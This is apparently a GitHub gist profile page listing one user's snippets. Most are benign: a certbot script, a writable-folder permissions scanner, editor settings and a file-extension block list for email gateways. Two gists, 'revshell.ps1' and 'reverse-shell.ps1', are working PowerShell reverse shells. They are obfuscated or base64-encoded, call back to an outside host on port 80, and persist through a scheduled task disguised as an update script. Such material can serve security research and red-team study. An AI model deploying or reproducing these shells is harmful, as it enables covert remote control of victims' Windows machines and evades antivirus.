Skip to content

Instantly share code, notes, and snippets.

View jdgregson's full-sized avatar

Jonathan Gregson jdgregson

View GitHub Profile
#!/bin/sh
HOST=myhost.example.com
certbot certonly --preferred-challenges dns --server https://acme-v02.api.letsencrypt.org/directory --manual -d "$HOST"
/opt/kasm/bin/stop
cd "/etc/letsencrypt/archive/$HOST"
cp "$(ls | grep fullchain | tail -n 1)" /opt/kasm/current/certs/kasm_nginx.crt
cp "$(ls | grep privkey | tail -n 1)" /opt/kasm/current/certs/kasm_nginx.key
@jdgregson
jdgregson / Permissions-Scanner.ps1
Last active December 8, 2022 23:13
Scan for insecure permissions on program files directory
$filename = -join ((65..90) + (97..122) | Get-Random -Count 32 | % {[char]$_})
Write-Host "Testing with filename: $filename"
"C:\Program Files", "C:\Program Files (x86)" | ForEach-Object {
$outerDir = $_
Get-ChildItem -Directory -Recurse $outerDir | ForEach-Object {
$innerDir = $_
try {
$out = New-Item -Path $innerDir.FullName -Name $filename -ErrorAction Stop | Out-String
Write-Warning "Path is writable: $($innerDir.FullName)"
$out = Remove-Item -Path $($innerDir.FullName + "\$filename") -ErrorAction Stop | Out-String
@jdgregson
jdgregson / text-to-speach.js
Last active November 29, 2022 18:10
Browser text-to-speach
/**
* Uses the borwser's speech synthesis API to speak the given text. Example:
*
* speak('This is a secret mission in uncharted space.', 2, 1, 2);
*
* @param {string} test The text to speak.
* @param {float} rate The rate at which to speak the text, between 0.1 and 10.
* @param {float} pitch The pitch at which to speak the text, between 0 and 2.
* @param {int} voice The voice to use, e.g. 3.
*/
@jdgregson
jdgregson / settings.json
Created August 26, 2022 21:00
Windows Terminal Settings
{
"$help": "https://aka.ms/terminal-documentation",
"$schema": "https://aka.ms/terminal-profiles-schema",
"actions":
[
{
"command":
{
"action": "globalSummon"
},
@jdgregson
jdgregson / vscode.json
Last active October 28, 2022 23:01
vscode config
{
"workbench.colorTheme": "Solarized Dark",
"editor.mouseWheelScrollSensitivity": 2,
"editor.hover.delay": 600,
"editor.occurrencesHighlight": false,
"editor.renderLineHighlight": "all",
"editor.semanticHighlighting.enabled": true,
"editor.folding": false,
"indenticator.showCurrentDepthInStatusBar": false,
"indenticator.showHover": false,
@jdgregson
jdgregson / syscmd.py
Last active June 9, 2022 03:07
Run system commands in Python
"""
NOTE: This requires Python 3.9+ simply due to the use of "tuple" as a type hint.
If you remove type hints this works back to at least 3.4, and likely older.
"""
import subprocess
import sys
def syscmd(cmd: str) -> tuple[int, bytes]:
@jdgregson
jdgregson / block-these.txt
Last active September 26, 2022 06:44
Filetypes to block - Files with these extensions should be blocked at email gateways (but you probably don't want to block docx, elxs, etc.)
accdb
accde
ace
ade
adp
ani
apk
app
appcontent-ms
appinstaller
@jdgregson
jdgregson / revshell.ps1
Created March 25, 2022 08:21
Drops a reverse shell and launches it via a scheduled task one minute later and then every 24 hours. Shell portion modified from: https://github.com/tihanyin/PSSW100AVB/blob/main/ReverseShell_2022_03.ps1
# reverse shell hostname/ip
$h = "research.jdgregson.com"
# reverse shell port
$p = 80
# drop the shell
$shell = '$J=New-Object System.Net.Sockets.TCPClient("HOST",PORT);$SS=$J.GetStream();[byte[]]$OO=0..((2-shl(3*5))-1)|%{0};$OO=([text.encoding]::UTF8).GetBytes((Get-Location).Path+"> ");$SS.Write($OO,0,$OO.Length);while(($A=$SS.Read($OO,0,$OO.Length)) -ne 0){;$DD=(New-Object System.Text.UTF8Encoding).GetString($OO,0,$A);$GG=(i`eX $DD 2>&1|Out-String);$H=$GG+(pwd).Path+"> ";$L=([text.encoding]::UTF8).GetBytes($H);$SS.Write($L,0,$L.Length);$SS.Flush()};$JJ.Close()' -replace "HOST",$h -replace "PORT",$p
$script = "$env:temp\update.ps1"
$shell > $script
@jdgregson
jdgregson / reverse-shell.ps1
Created March 25, 2022 02:27
Scheduled Task Reverse Shell
powershell.exe -c "iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHM9IiRlbnY6dGVtcFxqb3kucHMxIjskYT0iSkdnOUozSmxjMlZoY21Ob0xtcGtaM0psWjNOdmJpNWpiMjBuT3lSd1BUZ3dPeVJLUFU1bGR5MVBZbXBsWTNRZ1UzbHpkR1Z0TGs1bGRDNVRiMk5yWlhSekxsUkRVRU5zYVdWdWRDZ2thQ3drY0NrN0pGTlRQU1JLTGtkbGRGTjBjbVZoYlNncE8xdGllWFJsVzExZEpFOVBQVEF1TGlnb01pMXphR3dvTXlvMUtTa3RNU2w4Slhzd2ZUc2tUMDg5S0Z0MFpYaDBMbVZ1WTI5a2FXNW5YVG82VlZSR09Da3VSMlYwUW5sMFpYTW9LRWRsZEMxTWIyTmhkR2x2YmlrdVVHRjBhQ3NuUGlBbktUc2tVMU11VjNKcGRHVW9KRTlQTERBc0pFOVBMa3hsYm1kMGFDazdkMmhwYkdVb0tDUkJQU1JUVXk1U1pXRmtLQ1JQVHl3d0xDUlBUeTVNWlc1bmRHZ3BLU0F0Ym1VZ01DbDdPeVJFUkQwb1RtVjNMVTlpYW1WamRDQlRlWE4wWlcwdVZHVjRkQzVWVkVZNFJXNWpiMlJwYm1jcExrZGxkRk4wY21sdVp5Z2tUMDhzTUN3a1FTazdKRWRIUFNocFlHVllJQ1JFUkNBeVBpWXhmRTkxZEMxVGRISnBibWNwT3lSSVBTUkhSeXNvY0hka0tTNVFZWFJvS3ljK0lDYzdKRXc5S0Z0MFpYaDBMbVZ1WTI5a2FXNW5YVG82VlZSR09Da3VSMlYwUW5sMFpYTW9KRWdwT3lSVFV5NVhjbWwwWlNna1RDd3dMQ1JNTGt4bGJtZDBhQ2s3SkZOVExrWnNkWE5vS0NsOU95UktTaTVEYkc5elpTZ3AiO1tTeXN0ZW0uVGV4dC5FbmNvZGluZ
@jdgregson
jdgregson / hcsdiag.csv
Last active June 5, 2024 02:43
Hyper-V container/VM types according to hcsdiag
Name Description
CmService Container Management Service
VMMS A virtual machine running in Hyper-V using Virtual Machine Management Service
Madrid The Windows Sandbox VM
HVSI The WDAG/MDAG VM (originally code named 'Barcelona' inside Microsoft)
HVSI_DPSContainer The VM powering MDAG for Office
WSL A Windows Subsystem for Linux container